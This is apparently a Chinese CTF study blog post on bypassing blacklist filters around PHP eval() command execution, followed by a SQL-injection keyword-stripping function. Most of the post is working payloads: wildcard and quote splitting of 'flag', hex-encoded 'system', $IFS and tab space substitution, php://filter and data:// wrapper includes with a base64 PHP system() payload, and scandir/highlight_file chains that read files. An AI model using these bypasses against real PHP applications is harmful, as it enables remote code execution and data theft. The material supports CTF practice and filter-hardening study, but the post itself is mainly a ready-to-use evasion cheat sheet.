命令执行绕过技巧

命令执行绕过技巧

参考:https://blog.csdn.net/weixin_39190897/article/details/116247765

参考:https://blog.csdn.net/solitudi/article/details/109837640

正则过滤

参考:https://www.runoob.com/php/php-preg_match.html

参考:https://www.runoob.com/regexp/regexp-syntax.html

    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

 题目1

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload1

通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||

题目2

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload2

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` `同shell_exec()
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用

题目3

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload3

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
2find . -name "*.c" 
find . -type f  :将当前目录及其子目录中的所有文件列出:

payload3

c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

还有其他姿势:

首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

小知识:include不用括号,分号可以用?>代替。

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

字符替换

参考:https://blog.csdn.net/weixin_44300286/article/details/96597167

替换字符
$id= blacklist($id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "<br>";
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);            //去掉OR(不区分大小写)
$id= preg_replace('/and/i',"", $id);        //去掉AND(不区分大小写)
$id= preg_replace('/[\/\*]/',"", $id);        //去掉 /*
$id= preg_replace('/[--]/',"", $id);        //去掉 --
$id= preg_replace('/[#]/',"", $id);            //去掉 #
$id= preg_replace('/[\s]/',"", $id);        //去掉 空格
$id= preg_replace('/[ +]/',"", $id);        //去掉 空格
$id= preg_replace('/[\/\\\\]/',"", $id);        //去掉 斜杠
//$id= preg_replace('/select/m',"", $id);        //去掉 空格
$id= preg_replace('/union/s',"", $id);        //去掉 union
$id= preg_replace('/select/s',"", $id);        //去掉 select
$id= preg_replace('/UNION/s',"", $id);        //去掉 UNION
$id= preg_replace('/SELECT/s',"", $id);        //去掉 SELECT
$id= preg_replace('/Union/s',"", $id);        //去掉 Union
$id= preg_replace('/Select/s',"", $id);        //去掉 Select
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.

return $id;
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章